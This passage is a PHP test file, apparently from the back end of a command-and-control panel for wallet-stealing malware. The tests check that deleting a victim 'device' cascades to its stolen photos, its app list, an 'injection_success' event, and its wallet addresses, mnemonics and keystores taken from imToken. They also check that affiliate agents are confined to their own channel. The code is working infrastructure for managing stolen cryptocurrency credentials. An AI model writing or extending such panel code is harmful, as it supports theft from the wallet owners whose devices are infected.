create(['username' => 'admin', 'password' => 'admin123']); $device = Device::query()->create(['device_id' => 'dev-del-1', 'channel_id' => '86C1AAD5']); $photoPath = 'c2/photos/dev-del-1/hit.jpg'; $checkPath = 'c2/check/dev-del-1/pack/file.bin'; Storage::disk('local')->put($photoPath, "\xFF\xD8\xFF\xD9"); Storage::disk('local')->put($checkPath, 'x'); Photo::query()->create([ 'device_id' => $device->id, 'sha256' => hash('sha256', 'x'), 'path' => $photoPath, 'size' => 4, ]); DeviceApp::query()->create([ 'device_id' => $device->id, 'bundle_id' => 'im.token.app', 'name' => 'imToken', ]); DeviceEvent::query()->create([ 'device_id' => $device->id, 'device_key' => 'dev-del-1', 'event_name' => 'injection_success', ]); Note::query()->create([ 'device_id' => $device->id, 'content' => ['text' => 'hello'], ]); WalletAddress::query()->create([ 'device_id' => $device->id, 'address' => 'Txxx', 'source' => 'imToken', 'chain_type' => 'TRX', ]); WalletMnemonic::query()->create([ 'device_id' => $device->id, 'source' => 'imToken', 'mnemonic_hash' => hash('sha256', 'abandon'), 'mnemonic_enc' => 'enc', ]); WalletKeystore::query()->create([ 'device_id' => $device->id, 'raw_json' => ['k' => 1], ]); $this->actingAs($admin, 'admin') ->deleteJson(route('admin.devices.destroy', $device)) ->assertOk() ->assertJsonPath('code', 0); $this->assertNull(Device::query()->find($device->id)); $this->assertSame(0, Photo::query()->count()); $this->assertSame(0, DeviceApp::query()->count()); $this->assertSame(0, DeviceEvent::query()->count()); $this->assertSame(0, Note::query()->count()); $this->assertSame(0, WalletAddress::query()->count()); $this->assertSame(0, WalletMnemonic::query()->count()); $this->assertSame(0, WalletKeystore::query()->count()); Storage::disk('local')->assertMissing($photoPath); Storage::disk('local')->assertMissing($checkPath); } #[Test] public function agent_cannot_delete_other_channel_device(): void { $agent = User::query()->create([ 'username' => 'agent_del', 'password' => 'secret12', 'status' => 1, ]); Channel::query()->create([ 'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', 'user_id' => $agent->id, 'status' => 1, ]); $other = Device::query()->create([ 'device_id' => 'dev-other-del', 'channel_id' => 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb', ]); $this->actingAs($agent, 'agent') ->deleteJson(route('user.devices.destroy', $other)) ->assertForbidden(); $this->assertNotNull(Device::query()->find($other->id)); } }